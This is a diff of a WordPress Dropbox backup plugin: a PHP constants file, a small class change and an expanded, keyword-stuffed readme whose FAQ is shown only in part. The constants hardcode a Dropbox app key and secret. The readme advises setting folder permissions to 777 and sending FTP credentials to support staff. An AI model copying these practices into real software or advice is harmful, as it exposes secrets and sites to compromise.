 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if( !defined('WPADM_DIR_NAME') ) {
3
+ define('WPADM_DIR_NAME', 'wpadm_backups');
4
+ }
5
+
6
+ if( !defined('DROPBOX_BACKUP_DIR_NAME') ) {
7
+ define('DROPBOX_BACKUP_DIR_NAME', 'Dropbox_Backup');
8
+ }
9
+
10
+ if( !defined('DROPBOX_BACKUP_DIR_BACKUP') ) {
11
+ define('DROPBOX_BACKUP_DIR_BACKUP', WP_CONTENT_DIR . '/' . DROPBOX_BACKUP_DIR_NAME);
12
+ }
13
+
14
+ if (!defined('WPADM_DIR_BACKUP')) {
15
+ define('WPADM_DIR_BACKUP', WP_CONTENT_DIR . '/' . WPADM_DIR_NAME );
16
+ }
17
+
18
+ if (! defined("WPADM_URL_BASE")) {
19
+ define("WPADM_URL_BASE", 'http://secure.webpage-backup.com/');
20
+ }
21
+ if (! defined("WPADM_URL_PRO_VERSION")) {
22
+ define("WPADM_URL_PRO_VERSION", 'https://secure.wpadm.com/');
23
+ }
24
+
25
+ if (! defined("WPADM_APP_KEY")) {
26
+ define("WPADM_APP_KEY", 'nv751n84w2nif6j');
27
+ }
28
+
29
+ if (! defined("WPADM_APP_SECRET")) {
30
+ define("WPADM_APP_SECRET", 'qllasd4tbnqh4oi');
31
+ }
32
+
33
+ if (!defined("SERVER_URL_INDEX")) {
34
+ define("SERVER_URL_INDEX", "http://www.webpage-backup.com/");
35
+ }
36
+ if (!defined("PHP_VERSION_DEFAULT")) {
37
+ define("PHP_VERSION_DEFAULT", '5.2.4' );
38
+ }
39
+ if (!defined("MYSQL_VERSION_DEFAULT")) {
40
+ define("MYSQL_VERSION_DEFAULT", '5.0' );
41
+ }
42
+
43
+ if (!defined("PREFIX_BACKUP_")) {
44
+ define("PREFIX_BACKUP_", "wpadm_backup_");
45
+ }
46
+ if (!defined("WPADM_1DAY")) {
47
+ define("WPADM_1DAY", 86400); // 86400 sec = 1 day = 24 hours
48
+ }
49
+ if (!defined("WPADM_1WEEK")) {
50
+ define("WPADM_1WEEK", WPADM_1DAY * 7);
51
+ }
52
+ if (!defined("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX")) {
53
+ define("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX", 5);
54
+ }
55
+
56
+ if (!defined("SITE_HOME")) {
57
+ define("SITE_HOME", str_ireplace( array( 'http://', 'https://' ), '', home_url() ) );
58
+ }
modules/dropbox.class.php CHANGED
@@ -152,6 +152,7 @@ class dropbox
152
  elseif (!$dir['is_dir']) {
153
  return array (
154
  "size" => $dir['size'],
 
155
  "date" => $dir['modified'],
156
  "name" => $dir['path']
157
  );
152
  elseif (!$dir['is_dir']) {
153
  return array (
154
  "size" => $dir['size'],
155
+ "bytes" => $dir['bytes'],
156
  "date" => $dir['modified'],
157
  "name" => $dir['path']
158
  );
errorHandler.php → modules/errorHandler.php RENAMED
File without changes
readme.txt CHANGED
@@ -1,46 +1,571 @@
1
- === DropBox Backup ===
2
- Plugin Name: DropBox Backup
3
- Version: 1.1
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
- Tags: DropBox, Backup, Dropbox Backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, web page backup, site, site backup, back up, cloud, Cloud Files, db backup, dump, german, migrate, multisite, Russian, schedule, storage, time, upload
7
- Requires at least: 4.0.0
8
- Tested up to: 4.2.2
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
- DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
16
 
17
  == Description ==
18
 
19
- Supports WordPress backups to Local Storage or upload to DropBox.
20
 
21
- * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site
22
- * DropBox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to DropBox
23
 
 
24
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
 
26
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
 
 
 
 
27
 
28
  == Installation ==
29
 
30
- 1. Upload the plugin folder `DropBox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
 
31
  2. Activate the plugin through the `Plugins` menu in WordPress
32
 
33
 
 
34
 
35
- DropBox Backup Plugin have a settings section on WordPress plugin page.
36
- If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
 
 
 
 
 
 
 
 
 
 
 
 
 
37
 
38
  == Other ==
39
 
 
 
40
  Usefull additional functions can be found at www.wpadm.com in the User profile.
41
- DropBox Backup is a new plugin, so we tryed have to provide a bug-free plugin/widget. We are maintain this project.
42
 
43
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
44
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
45
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
46
- WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ === Dropbox Backup & Restore ===
2
+ Plugin Name: Dropbox Backup & Restore
3
+ Version: 1.4.3
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
+ Tags: dropbox, backup, dropbox backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, synchronize, clone, duplicate, move, web page backup, site, site backup, back up, cloud, Cloud Files, cloud backup, db backup, dump, german, migrate, multisite, German, schedule, storage, time, upload, data bank, zip, archive, backups, restore, db, recover, recovery, restoration, wp backup, wordpress backup, wordpress backup to dropbox, plugin wordpress backup, wpadm, wpadm.com, website, website backup, website back up, wp backup, wordpress backup, scheduled backup, backup scheduler, tool, backup tool
7
+ Requires at least: 3.9
8
+ Tested up to: 4.4.2
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
+ Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) or Restore, Duplicate, Clone or Migrate of your Website
16
 
17
  == Description ==
18
 
19
+ Supports WordPress Backup and Restore to/from Local Storage or upload Backups to Dropbox.
20
 
21
+ If you do not understand something or you have a questions, <br />
22
+ please, make a [support request](http://www.wpadm.com/support/) first!
23
 
24
+ **Features of website backup & website restore plugin:**
25
 
26
+ * Unlimited dropbox backups;
27
+ * Unlimited dropbox restores;
28
+ * Unlimited local backups;
29
+ * Unlimited local restores;
30
+ * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site;
31
+ * Dropbox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to Dropbox;
32
+ * Local Restore: restoration from Local backup at your website (web hosting);
33
+ * Dropbox Restore: restoration from Dropbox backup;
34
+ * With "dropbox backup & restore" plugin you can backup and restore WooCommerce shop inkl. Database with products;
35
+ * Notification loging on screen and in file;
36
+ * Use your own App key and App secret;
37
+ * Supports backup on "Low Memory" Hosting or Server;
38
+ * Possibility to make Dropbox backup and restore interface hidden with all listed backups (only Admins can access the backup plugin page);
39
+ * Automatic database optimization before backup (can be switched in plugin settings);
40
+ * Database or Table repair functionality before backup (coming soon);
41
+ * Administrate ALL of Backups for ALL of your sites from one place – WPAdm-account (Account is FREE);
42
+
43
+ **Account creation is optional, but we suggest to do this.<br /> Why create [www.wpadm.com](http://www.wpadm.com/) account?**<br />
44
+ Your website can be down, not available or admin back-end can be without response. There are many reasons for this, for example:<br />
45
+
46
+ * Some plugin or some theme (template) has an error;
47
+ * Plugin or theme (template) was installed incorrectly (wrong installation of WordPress plugins and WordPress themes);
48
+ * Vulnerabilities of user files, WordPress files, WordPress plugin- and theme- files;
49
+ * Websites Hacking (web page hacks), Websites Trojans etc.;
50
+ * Server or hosting misconfiguration. For example: files and folder rights, like "owner" rights, "read", "write" and "execution" rights;
51
+ * Web Server or web hosting misconfiguration, like wrong Apache or nginx configuration, mod_rewrite rules (rewriting rules) configuration;<br />
52
+ etc.
53
+
54
+ You can create your WPAdm account also for **central Backup administration** at http://www.wpadm.com <br />
55
+ WPAdm account is FULLY FREE.<br /><br />
56
+
57
+ **PLEASE, READ CAREFULLY!** <br />
58
+ **If you like our plugin - please, make your own [review](https://wordpress.org/support/view/plugin-reviews/dropbox-backup). It will help us to develop and update website backup and website restore plugin for you!**<br />
59
+ **This is one of few WordPress backup plugins, who does a fully free support (plugin support!) for all of our users.<br />
60
+ Dropbox backup and restore plugin ask for FTP if your website (not this plugin!) have some troubles, in order that we could make support for you.<br />
61
+ Providing of these FTP DATA IS NOT OBLIGATORY, but if you do this, - our support staff will check your backup process and you will receive a feedback about results.<br />
62
+ It can take a while and some patience from you.<br /><br />
63
+ We are not responsible for any 5хх-errors! Such errors caused in most cases (99,9%) by your server/hosting.<br />
64
+ For a little fee, we can help you solve problems of your server or hosting (to do this, we will need your FTP website access).<br />
65
+ Thank you for your understanding!**
66
+
67
+
68
+ **ALL INFORMATION, PROVIDED BY OUR USERS IS IN SAFETY AND USED FOR SUPPORT ONLY!**
69
 
70
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
71
+ <br />
72
+
73
+ If your website has basic authorisation (basic_auth), it can call some exclusions during backup executing. We are working on this issue.
74
+
75
 
76
  == Installation ==
77
 
78
+ ### Perform a new installation using FTP
79
+ 1. Upload the plugin folder `Dropbox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
80
  2. Activate the plugin through the `Plugins` menu in WordPress
81
 
82
 
83
+ ### Perform a new manual installation of Dropbox backup and restore plugin
84
 
85
+ After downloading the ZIP file of the Dropbox back up and restoration plugin,
86
+
87
+ 1. Log in to your administrator panel;<br />
88
+ 2. Go to Plugins Add > New > Click the button "Upload";<br />
89
+ 3. Click on "Choose file" (or "Browse", to browse the plugin zip-archive) and select the downloaded zip file of the Dropbox back up and restoration plugin;<br />
90
+ *For Mac Users*<br />
91
+ *Go to your Downloads folder and locate the folder with the name "dropbox backup". Right-click on this folder and select Compress. Now you have a newly created .zip file which can be installed as described here.*<br />
92
+ 4. Click on "Install Now" button. Dropbox back up and restore pugin will be installed;<br />
93
+ 5. Click on link "Activate Plugin" to activate the "Dropbox backup and restore" plugin;<br />
94
+ <br />
95
+ *If the installation does not succeed, please contact http://www.wpadm.com support staff or refer to your system administrator.*<br />
96
+
97
+
98
+ Dropbox Backup Plugin have a settings section on WordPress plugin page.
99
+ If you need help with the plugin or you want to report a bug, so please, also refer to http://www.wpadm.com/support/
100
 
101
  == Other ==
102
 
103
+ = Very easy and secure Dropbox Backup and Restoration (website / web page restore from backup) =
104
+
105
  Usefull additional functions can be found at www.wpadm.com in the User profile.
106
+ DropBox Backup is a new plugin, so we tried to provide a bug-free plugin/widget. We are maintain this project.
107
 
108
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
109
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
110
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
111
+ WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
112
+
113
+
114
+
115
+ = Website Backup on Dropbox =
116
+
117
+ For security of your sites, webs hops or online portals is backup a must. With backup from www.webpage-backup.com you can secure backup and restore all your projects independent if it website or woocommerce shop as to make restoring from your backups. From security reasons it is impotent to schedule your backups, thereby your information or comments from your databases no go lost. Of course the more important for the security are (frequently) backups for woocommerce shops or multisite backups and there one click to restores from your backup drive. The woocommerce backups need more storage in cloud due to large files.<br />
118
+ But in most cases it isn't needed to make full backup. With help of our service webpage-backup.com you can select the folder or special databases that you must backup or to backup single website inside your hosting. But for our service it does not matter if the files are large or small, in case of the restoration it is the same. As well as for your local backup. Local backup are done on your hosting. If your hosting have enough space for backup it is ok, but it is not recommended. In most cases for storage your full backup on space of your hosting it is not enough space otherwise it is not safe enough, especially if something happen with your hosting or after some time you want to change your hosting provider. Additional if your make automate schedule backups or data base backups ever after some time the space on your backup drive will be full. For this reason the best is to use the Dropbox storage. Dropbox storage is scalable. Of course the scheduler dropbox backup it is not a must. You can make it manually and for free, but it easy to forget and the danger to lose your backup data are big. You must not to upload your dropbox backup on your PC or desktop you can directly restoring your website from dropbox drive. Independently of our service it is possible to downloading, uploading the data from the dropbox account. By dropbox backup with www.webpage-backup.com you can make exclusions of folders or by restoring import archives or whole bundle of archives. By dropbox backup or wep page cloning or migration of the sites it is important that all folders have permissions to write it is the same how permission to access the folder or to uploading it. For backup on dropbox it is does not matter if your site have ssl certificate or it is normal woocommerce shop without SSL certificate the same goes for migrating or for website clone. For our service www.webpage-backup.com it is important that our servise have permissions to the folders and to backup drive.
119
+
120
+ = Special functions =
121
+
122
+ To the special functions of our website backup doesn’t belong the migration, scheduler backup, cron backup, wpmu backup, shop backup and encryption by cloning, if you make some clone of your website or multisite clone. It is all normal functions of our plugin or service at our website www.webpage-backup.com. The most of this tools are free of charge, especially if you do it manually. But inside our multisite tools are other addons and functions. Addons for your pages or multisite (WPMU) peges you can add inside of your service account if you want. But for some of this function it is required to register on www.webpage-backup.com. For manage of multisites or just for one page menaging, for cron and scheduled dropbox backup as for full restoration of you WooCommerce shop, website or multisite as well as for migration - to register it is must. It is not possible to do full restoration of website from dropbox backup without the WordPress site self.
123
+
124
+ = Easy backup =
125
+
126
+ By draw up of our dropbox backup tools we try to do the backup or restoring ever for not experts and multisites owners, but with the same tools how for experts. For experts we have Buckup explorer where the expert can select or to do exclusion of files and webpages. As the register user you can use multiple dropbox account or create other multisite buckup drive clouds, how FTP or you can do the local backup on the site of your host. All automatically functions are inside of our service. To automatically tools belong: cron and scheduler, migrator and remote. Scheduled jobs for dropbox you can set in our calendar, it gives overview.
127
+
128
+ = Back Up, Cloning, duplicate or migrate of websites =
129
+
130
+ Cloning, duplicate or migrate in principal all the function a same. It gives you the possibility quickly to create site clone with as “templates” for multiple site. This clone tool is very useful, if you have more than one website or, if you want to clone or duplicate your web page. With full backup of your old site or WooCommerce shop you can clone or duplicate, and create new clone (due back up) of webshop or website with one click. All multisite backups functions are available from one dashboard of cloning tool, how multisite backup, as well as WPMU backup in the same cloud or in several cloud storages of hosting provider or just server. From same dashboard available clone restorations functions separate or in bundle, depend of your multisite backup settings. If your do so much settings you can remove not needed settings or clone of backup. The settings must be removed separately ever for multisite or clone. The backup dropbox storages must be removed separately too. Although it seems complicated to do automatic backup. With our backup plugin for backup, clone or migrate - you can make it without expert knowledge. Clone add-ons allow your easy backup or migrate your website or WPMU (multisite). "Dropbox backup" is just ultimate tool for WordPress that can worst your productivity by cloning of web pages, allowing you to do efficiently manage of cloned pages through clone or multisite installations.
131
+
132
+ = Easy data restoring =
133
+
134
+ For restoring your website (or multisite websites) selected files from the dashboard and then select files to restore. In backup list you see the type, date and size. From the list you can remove and select appropriate restoring file. In settings your can add or remove the cloud storage. In case of cloning you must restore your old website backup on other webpage. Cloning is the same how resorting but in more steps. The same bee meant for migrating of multisite and shops and there restore. With our file explorer you can match every file separately for restoration. In case of restoration only this files will be restore. You can restore one file than the next, but it easy to make restoring in bundle or directly to recover whole full backup. The restoration time depend from your hosting and upload rate as well as restoration depend from the file size witch must be restore. Scheduled restoring and recovering isn’t possible, unless somebody have special inquiry on our service to do scheduled recovering. The recover from the Dropbox cloud storage take time, depend from the web site size and right permissions of the folders of your hosting provider.
135
+
136
+ = What to do if recovering failed? =
137
+
138
+ First of all check the data spelling. It is most common mistake. Other common mistakes by recovering are:
139
+
140
+ * to recover from wrong cloud storage;
141
+ * if done alone database back up – not full and you can't see the recover sites;
142
+ * by recovering process there was internet connection interrupted;
143
+ * In your database are file exclusions;
144
+ * your database back up was not consistent;
145
+ * file archive of back up with a broken checksum;
146
+ * back up or restore from damaged cloud storage or from damaged back up archive;
147
+ * misspelled back up due user failed restore;
148
+
149
+ Large file and big size databases need more time to back up or recover website. It can take until two hours or more, depend from the size of your back up database, but for our recovery service it doesn’t matter for uploading of large files or small files. The difference between recover the large files and small is the time. <br />
150
+ After check all of this figures please write an email to our support team http://www.webpage-backup.com and we will try to answer as soon as possible and to give you’re the best solution how easy to recover your site.
151
+
152
+ If you see some of 5xx error codes, as return of your backup:<br />
153
+ please, feel free to contact your own system administrator (admins, support etc.), because this type of errors come from your server.<br />
154
+
155
+ **The timely backup protects from viruses.**
156
+
157
+ There are some requirements for creating a reliable backup:<br />
158
+ • Make copies of your files regularly and as often as you can;<br />
159
+ • Rank your data by importance and back up essential information first. Generally, temporary files only add up to the back up volume and carry no significance, so get rid of them;<br />
160
+ • Do not store your file copies on the same hard drives;<br />
161
+ • Make sure you can access your backups any time and from any place;<br />
162
+ • Schedule your backups and ensure you get informed on their status;<br />
163
+ • If your medium capacity or bandwidth is limited use compression tools;<br />
164
+ A good solution is to have a separate server for remote backups although it is not fail-safe. If the server is unavailable restoration will be impossible. To ensure high accessibility and data safety use cloud storage services.<br />
165
+ There are a lot of services providing free but limited cloud storage capacity for backups like Google Drive, Amazon S3 (AWS) or Dropbox. The problem is they do not support FTP protocol which sometimes is the most adequate way of data transfer. In comparison, virtually every host company supports this protocol.
166
+
167
+
168
+
169
+ == Frequently Asked Questions ==
170
+
171
+ = Where can I get my app key & secret? =
172
+
173
+ You can get an API app key and secret by creating an app on the <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank">app creation page</a>.
174
+ Once you have an app created, the app key and secret will be available on the app's page on the <a href="https://www.dropbox.com/developers/apps" target="_blank">App Console</a>.
175
+ Note that Drop-ins have app keys but no app secrets.
176
+
177
+ = I clicked on the "Backup to Dropbox" button, but nothing happens. What's wrong? =
178
+
179
+ Before you try to make a backup of your website to dropbox, please make sure, that you have created the connection to dropbox. Also you must be sure, that you are connected to dropbox.<br />
180
+ To do this, please, open the "Settings" block in your "Dropbox backup and restore" plugin. There you must see your Dropbox UID (User ID on Dropbox). If you didn't see your Dropbox connection App UID - your Dropbox plugin is NOT CONNECTED to your Dropbox and you can't do the backup of your website.<br />
181
+ So please, at first connect yourself to Dropbox and then, try to make your backup to dropbox.
182
+
183
+ = How to restore my site from dropbox backup? =
184
+
185
+ - First of all, install the Dropbox backup & restore plugin;<br />
186
+ - In Dropbox backup & restore plugin check your connection to dropbox as "dropbox app" or as connection with using of app key & app secret from your dropbox account;
187
+
188
+
189
+ = My web page completely crashed and not available. How can I restore my web page from dropbox backup? =
190
+
191
+ Just login or Register at WPAdm www.wpadm.com If your web page wasn't added and verified - just do it. Add your domain and verified this on WPAdm account.
192
+
193
+ You must see all of your backups, that you have made.
194
+
195
+ = Should I upgrade my old version of Dropbox Backup and Restore plugin? =
196
+
197
+ Yes. We recommended to update or upgrade to a newest versions.
198
+
199
+ = I just download the dropbox full backup addon for my wordpress site. I've connected the dropbox addon (application) to my dropbox account and pushed the button "create dropbox backup". But after the finish of backup where can I find the backup files, so I be sure, that the backup was done? =
200
+
201
+ If you checked in the Setting of Dropbox plugin the checkbox "Leave local copy on my hosting", than you may to have two backups:<br />
202
+ - one WordPress backup, that was saved locally on hosting of your website, in folder '/wp-content/Dropbox_Backup/<backup-folder>/';
203
+ - the second WordPress backup, that was uploaded to your Dropbox account. You may to search for this uploaded backup on your Dropbox in of "WPAdm application" folder/<backup-folder>/;
204
+ Note, if you don't checked the checkbox "Leave local copy on my hosting" in the Settings of your Dropbox plugin, than locally created backup on hosting of your website will be deleted after upload to your Dropbox.
205
+
206
+ = How can I manage my backups? =
207
+
208
+ Manage of multiple back ups is possible from your account on webpage-backup.com
209
+
210
+ = I use multisite WordPress and I would like to manage my backups from one place. How can I do that? =
211
+
212
+ Multisite WP can be supported too, but you have to login in your account at www.webpage-backup.com
213
+
214
+ = Can I use the Dropbox Backup and Restore plugin to clone my website? =
215
+
216
+ Yes. If you have some back up, created with our Dropbox Backup and Restore plugin, then you can use it for migration or doing some clone to another place (server / web hosting).
217
+
218
+ = I didn't see my back up at my Dropbox. Why? How can I find it at my Dropbox? =
219
+
220
+ Simple check your app key and app secret, that you use it from a correct app do you created before you start make a backup.
221
+
222
+ = Is it possible to migrate my website with your Dropbox back up tool? =
223
+
224
+ Many people stay us this question and our answer is - YES! It's good possibility to use our back up plugin specially for migration of websites. Also you can migrate your website locally. If you does a local backup, then you can download it to your PC, upload to another place and make recovery there.
225
+
226
+ = How to do a recovery of my website? =
227
+
228
+ Dropbox Backup and Restore plugin work autonomously. In case, if your page (website) not available, you may use www.webpage-backup.com to recover website from backup on dropbox.
229
+
230
+ = I want schedule backup. How can I schedule backup of my website? =
231
+
232
+ To schedule backup of your webpage (website backup), you may use an account at www.webpage-backup.com to schedule backup.
233
+
234
+ = Can I make a schedule backup of my multisite WordPress? =
235
+
236
+ Please, see the previous question "I want schedule backup. How can I schedule backup of my website?".
237
+ Generally - YES, you can create a scheduled backup, but you may sign in to account at www.webpage-backup.com to make a scheduled backup.
238
+
239
+ = Should I register to make a back up of my site? =
240
+
241
+ Our plugin for back up is completely autonomous plugin for back up, so you don't need to register to make a back up of your site.
242
+
243
+ = How can I manually restore my website from one place to another? =
244
+
245
+ You can restore your website on another place with two ways:<br />
246
+ * manually website restoration<br />
247
+ * automatically website restoration<br />
248
+
249
+ For automatically website restoration you may need an account at webpage-backup.com
250
+
251
+ = Is it possible to duplicate my website like Duplicator Plugin do that? =
252
+
253
+ Backups & Restoring plugin can Duplicate more simply as Duplicator.<br />
254
+ If you want to duplicate your website, you may backup it first at some storage (for example Dropbox or Amazon, or just on your FTP). You can start duplicate website if the backup process was finished successfully. If isn't - don't try to duplicate, because wrong or incorrect backup can crash your website during duplicating.
255
+
256
+ = Duplicate and clone is the same thing? =
257
+
258
+ It has distinction in each of the duplicate and clone plugins. In both cases, as with duplicate and also with clone, this is in fact a website copy.
259
+
260
+ = How can I manage or coordinate my duplicate website? =
261
+
262
+ To managing your duplicate website you need to have an account at webpage-backup.com. So, you will see all of target (original) and source (duplicate) websites. At your account on webpage-backup.com you have a possibility to make one duplicate from another duplicate website, that was duplicated before.
263
+
264
+ = What does make your "duplicate" plugin, which doesn't make another (e.g. Duplicator plugin)? =
265
+
266
+ Duplicating is a very complex process. We will explain the website duplicate in the next our explanations about "duplicate website".
267
+
268
+ = Is it possible to make an Incremental Backup with Dropbox Backup & Restore plugin? =
269
+
270
+ Incremental backup expect many of our users. Incremental backup can help solve many problems for the implementation of the backup in complex systems. Create an incremental backup, that's what we're working. In the next versions it will be also possible to create incremental backups for websites.<br /><br />
271
+ (PS: Autor german language)<br />
272
+ Inkrementelle Sicherung (Incremental backup) erwarten viele unser Nutzer. Inkrementelle Sicherung (Incremental backup) kann helfen viele Probleme für die Durchführung der Sicherung in komplexen Systemen zu lösen. Erstellung eines inkrementelles Backup, das ist, was wir eben noch planen zu implementieren in der Dropbox Backup & Restore Plugin. In den Zukünftigen Versionen wird es auch möglich, inkrementelle Backups zu erstellen.<br /><br />
273
+
274
+ We must understand that when you use incremental backups perform operations such as website clone (clons creating), multisite clone, migrate of websites or website duplicate will be difficult, but possible.
275
+
276
+ = Just to do a MySQL backup. How to do that? =
277
+
278
+ In this version of plugin supported a MySQL backup (database backup or simple "db backup") together with a filesystem backup. To do a mysql backup, you can do it with a file system or just use another version of our plugin.<br />
279
+ The version for mysql backup (DB Backup) is available due control panel at http://www.webpage-backup.com
280
+
281
+ = We want to make an SCP Backup from our rackspace (Full Rackspace Backup). For this operation we would like to use your Dropbox plugin. =
282
+
283
+ Ok, if you want to use an SCP Backup, please, wait for some versions of this plugin over their, and we will make an scp backup for you.
284
+
285
+ = FTP Backup? =
286
+
287
+ The name of this plugin is "Dropbox" Backup and Restore. From control panel at http://www.webpage-backup.com you can do also an FTP Backup. Please, checkout an FTP Backup so.
288
+
289
+ = Is dropbox backup and restoration plugin really free? =
290
+
291
+ Yes, dropbox backup and dropbox restoration are free with plugin "Dropbox Backup and Restore"!
292
+
293
+ = Whether I need to create an account on the wpadm.com? =
294
+
295
+ You shouldn't create an account on the www.wpadm.com, but you are able to do it since further it can really help you at restoration time of your site. For example, if your website is completely down and not available.
296
+
297
+ = Whether there are WordPress templates of my web site in a full backup archive? =
298
+
299
+ Full backup include templates of your site.
300
+
301
+ = I try to create a dropbox backup. I enter the app key and app secret. Then I was asked for permission to access dropbox, so I hit "allow" and then I'm given an "Internal server error".<br /> What is causing this and how might I fix it? =
302
+
303
+ Please, just wait for some time and try again later.<br />
304
+ We know this issue about "Internal Server Error" on Dropbox, that comes from the Dropbox servers. Best thing to do is be patient and give it another try.
305
+ We cannot recommended you more, than just had to wait it out and problem went away after a while.
306
+
307
+ = I want to move my website to the new hosting/server. How can I do this? =
308
+
309
+ Sure, it is possible to use this Dropbox Backup & Restore plugin, but we suggest to try [cloner](https://wordpress.org/plugins/duplicator-clone/). With it you can much easily clone, migrate or easy duplicate your website from one hosting or server to another.
310
+
311
+ = My website has a very BIG files, like photos, videos and so on. If I do my backup to dropbox it's return this message "Maximum execution time of XXX seconds exceeded" and sometimes some other messages while uploading to dropbox. I've tried to do my backups with some of known WordPress plugins like "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" but it's all without success. Can you please advise me after all these failures, why I have to trust in "Dropbox Backup & Restore" plugin? =
312
+
313
+ OK, this is a complex question, but we'll try to answer this by comparing of "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" with "Dropbox backup & restore" plugin.<br />
314
+ All of this backup plugins like "Dropbox backup & restore", "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox" or "BackUpWordPress" has functionality not only for a backup, but also for restoration (restore or restoring process for website). There are a lot of parameters which are required to be compared.
315
+
316
+ = Why I cannot create local back up? =
317
+ There are many reasons for failed local back up. For example, you may to sure, that you have enough free space on you hard drive (hosting contingent, with other words: you have a free space) for new back up. Also you may to sure, that you permission for script running, file or folder creation are not limited.<br />
318
+ You've corrected these problems and still can't make a local back up - please, contact www.webpage-backup.com support.
319
+
320
+ = Hi, I made a Local Backup and it created 23 zip files, 1 MD5 file and 1 SQL file. How I can validate that this backup ended correctly? =
321
+ At the end of successfully created backup you will receive a results message like "success" or "error" and the .MD5 file will be created. The .md5 file is a checksum for your created backup.
322
+
323
+ = I was using your free version of Dropbox Backup without problem. I just paid for the Pro version and downloaded the files to my computer. What do I do now to activate the Pro version on my WP site and automate dropbox backups? =
324
+ The PRO version of plugin was activated during of payment process, so if you already downloaded the PRO version – it's already activated. Just install the plugin.
325
+ To automate backup to Dropbox (scheduled backup to Dropbox), please look at settings block of an installed PRO plugin.
326
+
327
+ = Can do back up get this message Dropbox Backup wasn't created. Website "XXXXXXXX" returned an error during file creation: Failed to create file, please check the permissions on the folder "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup". Please can you advise? =
328
+ Sure, the folder “Dropbox_Backup” with this path on you website hosting or website server "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup" must be created, if this wasn’t created yet<br />
329
+ AND this folder must be also writable (For example within permission 777 on this folder).<br />
330
+ You can check this permissions using some FTP client like "WinSCP" or "FileZilla". You can google and download this software. This program is free of charge.<br />
331
+ If you have any difficulties, our support staff can do it for you, but in this way you'll need send FTP access credentials for your website to our support.
332
+
333
+ = I have tried several times to perform a Dropbox backup of my wordpress site. It says that is performs, but the backup counter shows 0 even after being refreshed. The Dropbox folder is showing no items in it. What am I missing to do? =
334
